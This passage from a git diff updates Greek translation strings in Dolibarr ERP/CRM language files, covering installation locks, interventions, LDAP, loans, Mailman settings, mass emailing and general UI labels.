σελίδες εγκατάστασης / αναβάθμισης έχουν απενεργοποιηθεί για λόγους ασφαλείας (ο κατάλογος μετονομάζεται σε κατάληξη .lock).
      +YouTryInstallDisabledByDirLock=Η εφαρμογή προσπάθησε να κάνει αυτόματη αναβάθμιση, αλλά οι σελίδες εγκατάστασης/αναβάθμισης έχουν απενεργοποιηθεί για λόγους ασφαλείας (ο κατάλογος μετονομάστηκε με επίθημα .lock).
      YouTryInstallDisabledByFileLock=Η εφαρμογή προσπάθησε να αυτο-αναβαθμιστεί, αλλά οι σελίδες εγκατάστασης / αναβάθμισης έχουν απενεργοποιηθεί για λόγους ασφαλείας (με την ύπαρξη ενός αρχείου κλειδώματος install.lock στον κατάλογο εγγράφων του dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=Η εφαρμογή προσπάθησε να αυτοαναβαθμιστεί, αλλά προς το παρόν δεν επιτρέπεται η διαδικασία αναβάθμισης.
      ClickHereToGoToApp=Κάντε κλικ εδώ για να μεταβείτε στην εφαρμογή σας ClickOnLinkOrRemoveManualy=Εάν μια αναβάθμιση βρίσκεται σε εξέλιξη, παρακαλώ περιμένετε. Εάν όχι, κάντε κλικ στον παρακάτω σύνδεσμο. Εάν βλέπετε πάντα την ίδια σελίδα, πρέπει να αφαιρέσετε/μετονομάσετε το αρχείο install.lock στον κατάλογο εγγράφων. +ClickOnLinkOrCreateUnlockFileManualy=Εάν μια αναβάθμιση βρίσκεται σε εξέλιξη, περιμένετε... Εάν όχι, πρέπει να δημιουργήσετε ένα αρχείο upgrade.unlock στον κατάλογο Documents του Dolibarr. Loaded=Φορτωμένο FunctionTest=Δοκιμή λειτουργίας +NodoUpgradeAfterDB=Δεν απαιτείται κάποια ενέργεια από εξωτερικές ενότητες μετά την αναβάθμιση της βάσης δεδομένων +NodoUpgradeAfterFiles=Δεν απαιτείται κάποια ενέργεια από εξωτερικές ενότητες μετά την αναβάθμιση αρχείων ή καταλόγων +MigrationContractLineRank=Αλλαγή γραμμής συμβολαίου με χρήση της κατάταξης (και ενεργοποίηση της αναδιάταξης) diff --git a/htdocs/langs/el_GR/interventions.lang b/htdocs/langs/el_GR/interventions.lang index 7343febc66e..d309057d3d6 100644 --- a/htdocs/langs/el_GR/interventions.lang +++ b/htdocs/langs/el_GR/interventions.lang @@ -34,7 +34,7 @@ InterventionCreatedInDolibarr=Η παρέμβαση %s δημιουργήθηκ InterventionValidatedInDolibarr=Η παρέμβαση %s επικυρώθηκε InterventionModifiedInDolibarr=Η παρέμβαση %s τροποποιήθηκε InterventionClassifiedBilledInDolibarr=Η παρέμβαση %s ορίστηκε ως τιμολογημένη -InterventionClassifiedUnbilledInDolibarr=Σετ Παρέμβαση %s ως μη τιμολογημένο +InterventionClassifiedUnbilledInDolibarr=Η παρέμβαση %s ορίστηκε ως μη τιμολογημένη InterventionSentByEMail=Η παρέμβαση %s εστάλη μέσω email InterventionDeletedInDolibarr=Η παρέμβαση %s διαγράφηκε InterventionsArea=Τομέας παρεμβάσεων @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Απόκρυψη ωρών και λεπτών το InterventionStatistics=Στατιστικά παρεμβάσεων NbOfinterventions=Αριθ. Καρτών παρέμβασης NumberOfInterventionsByMonth=Αριθμός καρτών παρέμβασης ανά μήνα (ημερομηνία επικύρωσης) -AmountOfInteventionNotIncludedByDefault=Το ποσό της παρέμβασης δεν περιλαμβάνεται εξ ορισμού στο κέρδος (στις περισσότερες περιπτώσεις, τα φύλλα καταγραφής χρόνου χρησιμοποιούνται για τον υπολογισμό του χρόνου που δαπανάται). Προσθέστε την επιλογή PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT στο 1 στο Αρχική-Ρυθμίσεις-Άλλες Ρυθμίσεις για να τις συμπεριλάβετε. +AmountOfInteventionNotIncludedByDefault=Το ποσό της παρέμβασης δεν περιλαμβάνεται εξ ορισμού στο κέρδος (στις περισσότερες περιπτώσεις, τα φύλλα χρόνου χρησιμοποιούνται για τον υπολογισμό του χρόνου που δαπανάται). Μπορείτε να χρησιμοποιήσετε τις επιλογές PROJECT_ELEMENTS_FOR_ADD_MARGIN και PROJECT_ELEMENTS_FOR_MINUS_MARGIN από το μενού Αρχική-Ρυθμίσεις-Άλλες ρυθμίσεις για να συμπληρώσετε τη λίστα των στοιχείων που περιλαμβάνονται στο κέρδος. InterId=Αναγνωριστικό παρέμβασης InterRef=Αναφ παρέμβασης InterDateCreation=Ημερομηνία δημιουργίας παρέμβασης @@ -68,3 +68,5 @@ ConfirmReopenIntervention=Είστε σίγουροι ότι θέλετε να GenerateInter=Δημιουργία παρέμβασης FichinterNoContractLinked=Η παρέμβαση %s έχει δημιουργηθεί χωρίς συνδεδεμένο συμβόλαιο. ErrorFicheinterCompanyDoesNotExist=Η εταιρεία δεν υπάρχει. Δεν έχει δημιουργηθεί παρέμβαση. +NextDateToIntervention=Ημερομηνία δημιουργίας επόμενης παρέμβασης +NoIntervention=Καμία παρέμβαση diff --git a/htdocs/langs/el_GR/ldap.lang b/htdocs/langs/el_GR/ldap.lang index 9d4e9462f60..ce71b71b688 100644 --- a/htdocs/langs/el_GR/ldap.lang +++ b/htdocs/langs/el_GR/ldap.lang @@ -20,10 +20,10 @@ LDAPFieldSkypeExample=Παράδειγμα: skypeName UserSynchronized=Συγχρονισμένος χρήστης GroupSynchronized=Συγχρονισμένη ομάδα MemberSynchronized=Συγχρονισμένο μέλος -MemberTypeSynchronized=Συγχρονισμένος τύπος μέλους +MemberTypeSynchronized=Ο τύπος μέλους είναι συγχρονισμένος ContactSynchronized=Επικοινωνία συγχρονισμένη ForceSynchronize=Δυναμικός συγχρονισμός Dolibarr -> LDAP -ErrorFailedToReadLDAP=Αποτυχία ανάγνωσης LDAP βάση δεδομένων. Ελέγξτε LDAP εγκατάσταση module και την προσβασιμότητα της βάσης δεδομένων. +ErrorFailedToReadLDAP=Αποτυχία ανάγνωσης της LDAP βάση δεδομένων. Ελέγξτε τη ρύθμιση της ενότητας LDAP και την προσβασιμότητα της βάσης δεδομένων. PasswordOfUserInLDAP=Κωδικός πρόσβασης χρήστη στο LDAP LDAPPasswordHashType=Τύπος hash κωδικού πρόσβασης LDAPPasswordHashTypeExample=Τύπος hash κωδικού πρόσβασης που χρησιμοποιείται στον διακομιστή diff --git a/htdocs/langs/el_GR/loan.lang b/htdocs/langs/el_GR/loan.lang index 3d4d6d36803..9d6a9874c85 100644 --- a/htdocs/langs/el_GR/loan.lang +++ b/htdocs/langs/el_GR/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Δεν είναι δυνατή η δημ CantModifyInterestIfScheduleIsUsed = Δεν μπορείτε να τροποποιήσετε το επιτόκιο εάν χρησιμοποιείτε χρονοδιάγραμμα # Admin ConfigLoan=Διαμόρφωση της ενότητας δανείου -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Κεφάλαιο λογιστικού λογαριασμού από προεπιλογή -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Επιτόκιο λογιστικού λογαριασμού από προεπιλογή -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Ασφάλιση λογιστικού λογαριασμού από προεπιλογή +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί από προεπιλογή για κεφάλαια (ενότητα δανείου) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί από προεπιλογή για τόκους (ενότητα δανείου) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί από προεπιλογή για ασφάλιση (ενότητα δανείου) CreateCalcSchedule=Επεξεργασία οικονομικής δέσμευσης diff --git a/htdocs/langs/el_GR/mailmanspip.lang b/htdocs/langs/el_GR/mailmanspip.lang index 928fc330e69..79a1fb3d63e 100644 --- a/htdocs/langs/el_GR/mailmanspip.lang +++ b/htdocs/langs/el_GR/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Η δοκιμή ενεργοποίησης συνδρομ MailmanDeletionSuccess=Η δοκιμή κατάργησης συνδρομής εκτελέστηκε με επιτυχία SynchroMailManEnabled=Θα πραγματοποιηθεί ενημέρωση του Mailman SynchroSpipEnabled=Θα πραγματοποιηθεί ενημέρωση του Spip -DescADHERENT_MAILMAN_ADMINPW=Κωδικός πρόσβασης διαχειριστή του Mailman  +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Κωδικός πρόσβασης διαχειριστή του Mailman  DescADHERENT_MAILMAN_URL=URL για συνδρομές Mailman DescADHERENT_MAILMAN_UNSUB_URL=URL για κατάργηση συνδρομών Mailman DescADHERENT_MAILMAN_LISTS=Λίστα (ες) για την αυτόματη αναγραφή των νέων μελών (χωρισμένες με κόμμα) diff --git a/htdocs/langs/el_GR/mails.lang b/htdocs/langs/el_GR/mails.lang index 9965724bf0f..99793dd8a22 100644 --- a/htdocs/langs/el_GR/mails.lang +++ b/htdocs/langs/el_GR/mails.lang @@ -7,14 +7,14 @@ MailCard=Κάρτελα email MailRecipients=Παραλήπτες MailRecipient=Παραλήπτης MailTitle=Περιγραφή -MailFrom=Αποστολέας +MailFrom=Από MailErrorsTo=Σφάλματα σε MailReply=Απάντηση σε -MailTo=Παραλήπτης(ες) +MailTo=Προς MailToUsers=Προς MailCC=Κοινοποίηση σε MailToCCUsers=Κοινοποίηση σε χρήστη(ες) -MailCCC=Cached copy to +MailCCC=Αποθηκευμένο αντίγραφο σε MailTopic=Θέμα Email MailText=Μήνυμα MailFile=Επισυναπτόμενα Αρχεία @@ -43,7 +43,7 @@ MailSuccessfulySent=Το email (από %s προς %s) απεστάλη επιτ MailingSuccessfullyValidated=Το email επικυρώθηκε με επιτυχία MailUnsubcribe=Κατάργηση εγγραφής MailingStatusNotContact=Να μην χρησιμοποιείται -MailingStatusReadAndUnsubscribe=Read and unsubscribe +MailingStatusReadAndUnsubscribe=Διαβάστε και καταργήστε την εγγραφή σας στην λίστα email ErrorMailRecipientIsEmpty=Το πεδίο παραλήπτη του email είναι κενό WarningNoEMailsAdded=Δεν υπάρχει νέο email για προσθήκη στη λίστα παραληπτών. ConfirmValidMailing=Είστε σίγουροι ότι θέλετε να επικυρώσετε αυτό το email; @@ -79,19 +79,19 @@ GroupEmails=Ομαδικά email OneEmailPerRecipient=Ένα email ανά παραλήπτη (από προεπιλογή, επιλεγμένο ένα email ανά εγγραφή) WarningIfYouCheckOneRecipientPerEmail=Προειδοποίηση, εάν επιλέξετε αυτό το πλαίσιο, σημαίνει ότι θα σταλεί μόνο ένα email για πολλές διαφορετικές επιλεγμένες εγγραφές, επομένως, εάν το μήνυμά σας περιέχει μεταβλητές αντικατάστασης που αναφέρονται σε δεδομένα μιας εγγραφής, δεν θα είναι δυνατή η αντικατάστασή τους. ResultOfMailSending=Αποτέλεσμα μαζικής αποστολής email -NbSelected=Ο αριθμός είναι επιλεγμένος +NbSelected=Επιλέχθηκε ο αριθμός NbIgnored=Ο αριθμός αγνοήθηκε -NbSent=Ο αριθμός αποστέλλεται +NbSent=Ο αριθμός εστάλη SentXXXmessages=%s μήνυμα(τα) στάλθηκαν. -ConfirmUnvalidateEmailing=Are you sure you want to change email %s to draft status? -MailingModuleDescContactsWithThirdpartyFilter=Contact with customer filters -MailingModuleDescContactsByCompanyCategory=Επαφές ανά κατηγορία τρίτων +ConfirmUnvalidateEmailing=Είστε σίγουροι ότι θέλετε να αλλάξετε το email %s σε κατάσταση προσχεδίου; +MailingModuleDescContactsWithThirdpartyFilter=Επαφή με φίλτρα πελατών +MailingModuleDescContactsByCompanyCategory=Επαφές ανά κατηγορία τρίτων μερών MailingModuleDescContactsByCategory=Επαφές ανά κατηγορία MailingModuleDescContactsByFunction=Επαφές ανά θέση -MailingModuleDescEmailsFromFile=Τα μηνύματα ηλεκτρονικού ταχυδρομείου από το αρχείο -MailingModuleDescEmailsFromUser=Εισαγωγή μηνυμάτων ηλεκτρονικού ταχυδρομείου από το χρήστη -MailingModuleDescDolibarrUsers=Χρήστες με μηνύματα ηλεκτρονικού ταχυδρομείου -MailingModuleDescThirdPartiesByCategories=Τρίτα μέρη (κατά κατηγορίες) +MailingModuleDescEmailsFromFile=Email από το αρχείο +MailingModuleDescEmailsFromUser=Email από τον χρήστη +MailingModuleDescDolibarrUsers=Χρήστες με email +MailingModuleDescThirdPartiesByCategories=Τρίτα μέρη SendingFromWebInterfaceIsNotAllowed=Η αποστολή από τη διεπαφή ιστού δεν επιτρέπεται. EmailCollectorFilterDesc=Όλα τα φίλτρα πρέπει να ταιριάζουν για να συλλεχθεί ένα email @@ -99,9 +99,9 @@ EmailCollectorFilterDesc=Όλα τα φίλτρα πρέπει να ταιριά LineInFile=Γραμμή %s στο αρχείο RecipientSelectionModules=Ορίζονται αιτήματα για την επιλογή του παραλήπτη MailSelectedRecipients=Επιλεγμένοι αποδέκτες -MailingArea=Emailings περιοχή +MailingArea=Τομεας Emailings LastMailings=Τελευταία %s email -TargetsStatistics=Στατιστικά στοχων +TargetsStatistics=Στατιστικά στόχων NbOfCompaniesContacts=Μοναδικές επαφές/διευθύνσεις MailNoChangePossible=Παραλήπτες με επικυρωμένες ηλεκτρονικές διευθύνσεις δεν μπορούν να αλλάξουν SearchAMailing=Αναζήτηση αλληλογραφίας @@ -116,10 +116,10 @@ ToClearAllRecipientsClickHere=Κάντε κλικ εδώ για να διαγρ ToAddRecipientsChooseHere=Προσθέστε παραλήπτες επιλέγοντας από τις λίστες NbOfEMailingsReceived=Μαζικές αποστολές έλαβαν NbOfEMailingsSend=Μαζική αλληλογραφία αποστέλλεται -IdRecord=ID record -DeliveryReceipt=Delivery Ack. +IdRecord=ID εγγραφής +DeliveryReceipt=Αναφορά παράδοσης YouCanUseCommaSeparatorForSeveralRecipients=Μπορείτε να χρησιμοποιήσετε το κόμμα σαν διαχωριστή για να καθορίσετε πολλούς παραλήπτες. -TagCheckMail=Παρακολούθηση άνοιγμα της αλληλογραφίας +TagCheckMail=Παρακολούθηση ανοίγματος email TagUnsubscribe=Σύνδεσμος απεγγραφής TagSignature=Υπογραφή του χρήστη αποστολής EMailRecipient=Email παραλήπτη @@ -137,22 +137,22 @@ ListOfNotificationsDone=Λίστα όλων των αυτόματων ειδοπ MailSendSetupIs=Διαμόρφωση αποστολή email έχει ρυθμιστεί σε '%s'. Αυτή η λειτουργία δεν μπορεί να χρησιμοποιηθεί για να σταλθούν μαζικά μηνύματα ηλεκτρονικού ταχυδρομείου. MailSendSetupIs2=Θα πρέπει πρώτα να πάτε, με έναν λογαριασμό διαχειριστή, στο μενού %s Αρχική - Ρύθμιση - Emails %s για να αλλάξετε την παράμετρο '%s' για να χρησιμοποιήσετε τη λειτουργία '%s'. Με αυτόν τον τρόπο, μπορείτε να μεταβείτε στις ρυθμίσεις του διακομιστή SMTP παρέχεται από τον Internet Service Provider και να χρησιμοποιήσετε τη Μαζική αποστολή ηλεκτρονικού ταχυδρομείου. MailSendSetupIs3=Αν έχετε οποιαδήποτε απορία σχετικά με το πώς να ρυθμίσετε το διακομιστή SMTP σας, μπορείτε να ζητήσετε στο %s. -YouCanAlsoUseSupervisorKeyword=You can also add the keyword __SUPERVISOREMAIL__ to have email being sent to the supervisor of user (works only if an email is defined for this supervisor) +YouCanAlsoUseSupervisorKeyword=Μπορείτε επίσης να προσθέσετε τη λέξη-κλειδί __SUPERVISOREMAIL__ για την αποστολή email στον επόπτη του χρήστη (λειτουργεί μόνο εάν έχει οριστεί ένα email για αυτόν τον επόπτη) NbOfTargetedContacts=Τρέχων αριθμός των στοχευμένων ηλεκτρονικών μηνυμάτων της επαφής -UseFormatFileEmailToTarget=Imported file must have format email;name;firstname;other -UseFormatInputEmailToTarget=Enter a string with format email;name;firstname;other +UseFormatFileEmailToTarget=Το εισαγόμενο αρχείο πρέπει να έχει τη μορφή email;name;firstname;other +UseFormatInputEmailToTarget=Εισάγετε μια συμβολοσειρά με μορφή email;name;firstname;other MailAdvTargetRecipients=Παραλήπτες (προχωρημένη επιλογή) AdvTgtTitle=Συμπληρώστε τα πεδία εισαγωγής για να επιλέξετε εκ των προτέρων τα τρίτα μέρη ή τις επαφές / διευθύνσεις που θέλετε να στοχεύσετε -AdvTgtSearchTextHelp=Χρησιμοποιήστε το ως χαρακτήρες μπαλαντέρ. Για παράδειγμα, για να βρείτε όλα τα στοιχεία όπως jean, joe, jim , μπορείτε να πληκτρολογήσετε %%, μπορείτε επίσης να χρησιμοποιήσετε το σύμβολο ; ως διαχωριστικό για την τιμη και να χρησιμοποιήσετε το σύμβολο ! για να εξαιρέσετε κάποιες τιμές από την αναζήτηση. Για παράδειγμα η αναζήτηση jean;joe;jim%%;!jimo;!jima%% θα στοχεύει σε όλες τις τιμές που περιέχουν jean και joe, σε αυτές που ξεκινούν με jim αλλά όχι με jimo και σε καμιά που ξεκινάει με jima +AdvTgtSearchTextHelp=Χρησιμοποιήστε τα %% ως χαρακτήρες μπαλαντέρ. Για παράδειγμα, για να βρείτε όλα τα στοιχεία όπως jean, joe, jim , μπορείτε να πληκτρολογήσετε j%%, μπορείτε επίσης να χρησιμοποιήσετε το σύμβολο ; ως διαχωριστικό για την τιμή και να χρησιμοποιήσετε το σύμβολο ! για να εξαιρέσετε κάποιες τιμές από την αναζήτηση. Για παράδειγμα η αναζήτηση jean;joe;jim%%;!jimo;!jima%% θα στοχεύσει όλες τις τιμές που περιέχουν jean και joe, σε αυτές που ξεκινούν με jim αλλά όχι με jimo και σε καμιά που ξεκινάει με jima AdvTgtSearchIntHelp=Χρησιμοποιήστε το διάστημα για να επιλέξετε τιμή int ή float AdvTgtMinVal=Ελάχιστη τιμή AdvTgtMaxVal=Μέγιστη τιμή -AdvTgtSearchDtHelp=Use interval to select date value -AdvTgtStartDt=Start dt. -AdvTgtEndDt=End dt. -AdvTgtTypeOfIncudeHelp=Στόχευση ηλεκτρονικού ταχυδρομείου τρίτου μέρους και ηλεκτρονικού ταχυδρομείου της επαφής τρίτου μέρους, ή απλώς ηλεκτρονικού ταχυδρομείου τρίτου μέρους ή απλά ηλεκτρονικού ταχυδρομείου επικοινωνίας +AdvTgtSearchDtHelp=Χρησιμοποιήστε το διάστημα για να επιλέξετε την τιμή ημερομηνίας +AdvTgtStartDt=Ημερ. Έναρξης +AdvTgtEndDt=Ημερ. Λήξης +AdvTgtTypeOfIncudeHelp=Εmail τρίτου μέρους και email επαφής τρίτου μέρους ή απλώς email τρίτου μέρους ή απλώς email επαφής AdvTgtTypeOfIncude=Τύπος στοχευμένου email -AdvTgtContactHelp=Use only if you target contact into "Type of targeted email" +AdvTgtContactHelp=Χρησιμοποιήστε μόνο εάν στοχεύετε επαφή σε "Τύπος στοχευμένου email" AddAll=Προσθήκη όλων RemoveAll=Αφαίρεση όλων ItemsCount=Αντικείμενο(α) @@ -179,3 +179,4 @@ RecordCreatedByEmailCollector=Εγγραφή που δημιουργήθηκε DefaultBlacklistMailingStatus=Προεπιλεγμένη τιμή για το πεδίο '%s' κατά τη δημιουργία μιας νέας επαφής DefaultStatusEmptyMandatory=Κενό αλλά υποχρεωτικό WarningLimitSendByDay=ΠΡΟΕΙΔΟΠΟΙΗΣΗ: Η ρύθμιση ή η σύμβαση της εγκατάστασης σας περιορίζει τον αριθμό των email σας ανά ημέρα σε %s . Η προσπάθεια αποστολής περισσότερων ενδέχεται να έχει ως αποτέλεσμα την επιβράδυνση ή την αναστολή της εγκατάστασης σας. Επικοινωνήστε με την υποστήριξή σας εάν χρειάζεστε υψηλότερο όριο. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/el_GR/main.lang b/htdocs/langs/el_GR/main.lang index 605ee14d77a..6446882d08e 100644 --- a/htdocs/langs/el_GR/main.lang +++ b/htdocs/langs/el_GR/main.lang @@ -10,7 +10,7 @@ DIRECTION=ltr # DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages # freemono is for ru_RU or uk_UA, uz_UZ # freeserif is for Tamil -FONTFORPDF=helvetica +FONTFORPDF=DejaVuSans FONTSIZEFORPDF=10 SeparatorDecimal=, SeparatorThousand=. @@ -34,6 +34,7 @@ NoTemplateDefined=Δεν υπάρχει διαθέσιμο πρότυπο για AvailableVariables=Διαθέσιμες μεταβλητές αντικατάστασης NoTranslation=Δεν μεταφράστηκε Translation=Μετάφραση +Translations=Μεταφράσεις CurrentTimeZone=TimeZone PHP (server) EmptySearchString=Εισαγάγετε μη κενά κριτήρια αναζήτησης EnterADateCriteria=Εισαγάγετε κριτήρια ημερομηνίας @@ -59,7 +60,7 @@ ErrorFailedToSendMail=Αποτυχία αποστολής mail (αποστολέ ErrorFileNotUploaded=Το αρχείο δεν φορτώθηκε. Βεβαιωθείτε ότι το μέγεθος δεν υπερβαίνει το μέγιστο επιτρεπόμενο όριο, ότι υπάρχει διαθέσιμος χώρος στο δίσκο και ότι δεν υπάρχει ήδη ένα αρχείο με το ίδιο όνομα σε αυτόν τον κατάλογο. ErrorInternalErrorDetected=Εντοπίστηκε Σφάλμα ErrorWrongHostParameter=Λάθος παράμετρος διακομιστή -ErrorYourCountryIsNotDefined=Η χώρα σας δεν έχει οριστεί. Μεταβείτε στην Αρχική σελίδα-Ρυθμίσεις-Επεξεργασία και δημοσιεύστε την φόρμα πάλι. +ErrorYourCountryIsNotDefined=Η χώρα σας δεν έχει οριστεί. Μεταβείτε στην Αρχική-Ρυθμίσεις-Εταιρεία / Οργανισμός και δημοσιεύστε την φόρμα πάλι. ErrorRecordIsUsedByChild=Αποτυχία κατάργησης αυτής της εγγραφής. Αυτή η εγγραφή χρησιμοποιείται από τουλάχιστον ένα θυγατρικό αρχείο. ErrorWrongValue=Λάθος τιμή ErrorWrongValueForParameterX=Λανθασμένη τιμή για την παράμετρο %s @@ -124,7 +125,7 @@ YouCanSetOptionDolibarrMainProdToZero=Μπορείτε να διαβάσετε InformationToHelpDiagnose=Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για διαγνωστικούς σκοπούς (μπορείτε να ορίσετε την επιλογή $dolibarr_main_prod σε '1' για να αποκρύψετε ευαίσθητες πληροφορίες) MoreInformation=Περισσότερες πληροφορίες TechnicalInformation=Τεχνικές πληροφορίες -TechnicalID=Τεχνική ταυτότητα ID +TechnicalID=ID Τεχνικής πληροφορίας LineID=Αναγνωριστικό γραμμής NotePublic=Σημειώσεις (δημόσιες) NotePrivate=Σημειώσεις (προσωπικές) @@ -185,9 +186,9 @@ SaveAs=Αποθήκευση Ως SaveAndStay=Αποθήκευση και Νέο SaveAndNew=Αποθήκευση και Νέο TestConnection=Δοκιμή σύνδεσης -ToClone=Κλωνοποίηση -ConfirmCloneAsk=Είστε βέβαιοι ότι θέλετε να κλωνοποιήσετε το αντικείμενο %s ; -ConfirmClone=Επιλέξτε τα δεδομένα που θέλετε να κλωνοποιήσετε: +ToClone=Αντιγραφή +ConfirmCloneAsk=Είστε σίγουροι ότι θέλετε να αντιγράψετε το αντικείμενο %s ; +ConfirmClone=Επιλέξτε τα δεδομένα που θέλετε να αντιγράψετε: NoCloneOptionsSpecified=Δεν καθορίστηκαν δεδομένα προς αντιγραφή Of=του Go=Μετάβαση @@ -205,6 +206,7 @@ Valid=Έγκυρο Approve=Έγκριση Disapprove=Δεν εγκρίνεται ReOpen=Εκ νέου άνοιγμα +OpenVerb=Ανοιχτά Upload=Μεταφόρτωση ToLink=Σύνδεσμος Select=Επιλογή @@ -222,8 +224,9 @@ UserGroup=Ομάδα χρηστών UserGroups=Ομάδες χρηστών NoUserGroupDefined=Κανένας χρήστης δεν ορίζεται στην ομάδα Password=Κωδικός πρόσβασης -PasswordRetype=Πληκτρολογήστε ξανά τον κωδικό πρόσβασης +PasswordRetype=Επαναλάβετε τον κωδικό πρόσβασης σας NoteSomeFeaturesAreDisabled=Σημειώστε ότι πολλές δυνατότητες/ενότητες είναι απενεργοποιημένες σε αυτήν την επίδειξη. +YourUserFile=Το αρχείο χρήστη σας Name=Όνομα NameSlashCompany=Όνομα / Εταιρεία Person=Άτομο @@ -265,8 +268,8 @@ Logout=Αποσύνδεση NoLogoutProcessWithAuthMode=Δεν εφαρμόζεται το χαρακτηριστικό αποσύνδεσης με λειτουργία ελέγχου ταυτότητας %s Connection=Είσοδος Setup=Ρυθμίσεις -Alert=Συναγερμός -MenuWarnings=Συναγερμοί +Alert=Ειδοποίηση +MenuWarnings=Ειδοποιήσεις Previous=Προηγούμ. Next=Επόμ. Cards=Καρτέλες @@ -343,7 +346,7 @@ MonthOfDay=Μήνας της ημέρας DaysOfWeek=Ημέρες της εβδομάδας HourShort=Ω MinuteShort=λ -Rate=Βαθμός +Rate=Τιμή CurrencyRate=Τιμή μετατροπής νομίσματος UseLocalTax=με Φ.Π.Α Bytes=Bytes @@ -407,13 +410,13 @@ Total=Σύνολο SubTotal=Υποσύνολο TotalHTShort=Σύνολο (εκτός) TotalHT100Short=Σύνολο 100%% (εκτός) -TotalHTShortCurrency=Σύνολο (εξαιρουμένου του νομίσματος) +TotalHTShortCurrency=Σύνολο (χωρίς Φ.Π.Α. σε νόμισμα) TotalTTCShort=Σύνολο (με Φ.Π.Α.) TotalHT=Σύνολο χωρίς ΦΠΑ TotalHTforthispage=Σύνολο (χωρίς φόρο) για αυτήν τη σελίδα Totalforthispage=Σύνολο για αυτή τη σελίδα TotalTTC=Σύνολο (με Φ.Π.Α.) -TotalTTCToYourCredit=Σύνολο (με ΦΠΑ) στο υπόλοιπο +TotalTTCToYourCredit=Σύνολο (συμπ. φόρου) στην πίστωσή σας TotalVAT=Συνολικός Φ.Π.Α. TotalVATIN=Σύνολο IGST TotalLT1=Συνολικός φόρος 2 @@ -422,18 +425,18 @@ TotalLT1ES=Σύνολο RE TotalLT2ES=Σύνολο IRPF TotalLT1IN=Σύνολο CGST TotalLT2IN=Σύνολο SGST -HT=Excl. φόρος -TTC=με Φ.Π.Α -INCVATONLY=Inc. ΦΠΑ -INCT=Inc. όλους τους φόρους +HT=Εκτός φόρων +TTC=Με Φ.Π.Α. +INCVATONLY=Με Φ.Π.Α. +INCT=Με όλους τους φόρους VAT=Φ.Π.Α VATIN=IGST VATs=Φόροι επί των πωλήσεων VATINs=Φόροι IGST LT1=Φόρος πωλήσεων 2 -LT1Type=Φόρος πωλήσεων 2 τύπου +LT1Type=Τύπος φόρου πωλήσεων 2 LT2=Φόρος πωλήσεων 3 -LT2Type=Φόρος πωλήσεων 3 τύπου +LT2Type=Τύπος φόρου πωλήσεων 3 LT1ES=ΑΠΕ LT2ES=IRPF LT1IN=CGST @@ -465,7 +468,7 @@ Ref=Αναφ. ExternalRef=εξωτερική Αναφ. RefSupplier=Αναφ. Προμηθευτή RefPayment=Αναφ. πληρωμής -CommercialProposalsShort=Εμπορικές προσφορές +CommercialProposalsShort=Προσφορές Comment=Σχόλιο Comments=Σχόλια ActionsToDo=Ενέργειες που πρέπει να γίνουν @@ -487,7 +490,8 @@ ActionsOnContact=Ενέργειες για αυτήν την επαφή / διε ActionsOnContract=Ενέργειες για αυτή τη σύμβαση ActionsOnMember=Ενέργειες σχετικά με αυτό το μέλος ActionsOnProduct=Ενέργειες σχετικά με αυτό το προϊόν -NActionsLate=%s καθυστερ. +ActionsOnAsset=Ενέργειες για αυτό το πάγιο στοιχείο +NActionsLate=%s σε καθυστέρηση ToDo=Να γίνουν Completed=Ολοκληρωμένα Running=Σε εξέλιξη @@ -503,21 +507,21 @@ Duration=Διάρκεια TotalDuration=Συνολική Διάρκεια Summary=Σύνοψη DolibarrStateBoard=Στατιστικά στοιχεία βάσης δεδομένων -DolibarrWorkBoard=Άνοιγμα αντικειμένων +DolibarrWorkBoard=Ανοιχτά αντικείμενα NoOpenedElementToProcess=Δεν υπάρχει ανοιχτό στοιχείο για επεξεργασία -Available=Σε διάθεση -NotYetAvailable=Δεν είναι ακόμη σε διάθεση -NotAvailable=Χωρίς διάθεση +Available=Διαθέσιμα +NotYetAvailable=Δεν είναι ακόμη διαθέσιμα +NotAvailable=Μη διαθέσιμα Categories=Ετικέτες/Κατηγορίες Category=Ετικέτα/Κατηγορία -By=Από +By=Ανά From=Από FromDate=Από FromLocation=Από to=πρός -To=πρός -ToDate=πρός -ToLocation=πρός +To=Προς +ToDate=έως +ToLocation=Προς at=στο and=και or=ή @@ -541,8 +545,8 @@ Drafts=Προσχέδια StatusInterInvoiced=Τιμολογήθηκε Validated=Επικυρωμένο ValidatedToProduce=Επικυρώθηκε (Για παραγωγή) -Opened=Άνοιγμα -OpenAll=Άνοιγμα (Όλα) +Opened=Ανοιχτά +OpenAll=Ανοιχτό (Όλα) ClosedAll=Κλειστό (Όλα) New=Νέο Discount=Έκπτωση @@ -553,7 +557,7 @@ OriginalSize=Αρχικό μέγεθος Received=Παραλήφθηκε Paid=Πληρωμένα Topic=Θέμα -ByCompanies=Ανά στοιχείο +ByCompanies=Ανά τρίτα μέρη ByUsers=Ανα χρήστη Links=Σύνδεσμοι Link=Σύνδεσμος @@ -561,11 +565,11 @@ Rejects=Απορρίψεις Preview=Προεπισκόπηση NextStep=Επόμενο Βήμα Datas=Δεδομένα -None=Κανένας +None=Κανένα NoneF=Καμία NoneOrSeveral=Κανένα ή πολλά Late=Καθυστερ. -LateDesc=Ένα στοιχείο ορίζεται ως Καθυστέρηση σύμφωνα με τη διαμόρφωση του συστήματος στο μενού Αρχική σελίδα - Ρύθμιση - Ειδοποιήσεις. +LateDesc=Ένα στοιχείο ορίζεται ως Καθυστερημένο σύμφωνα με τη διαμόρφωση του συστήματος στο μενού Αρχική - Ρυθμίσεις - Ειδοποιήσεις. 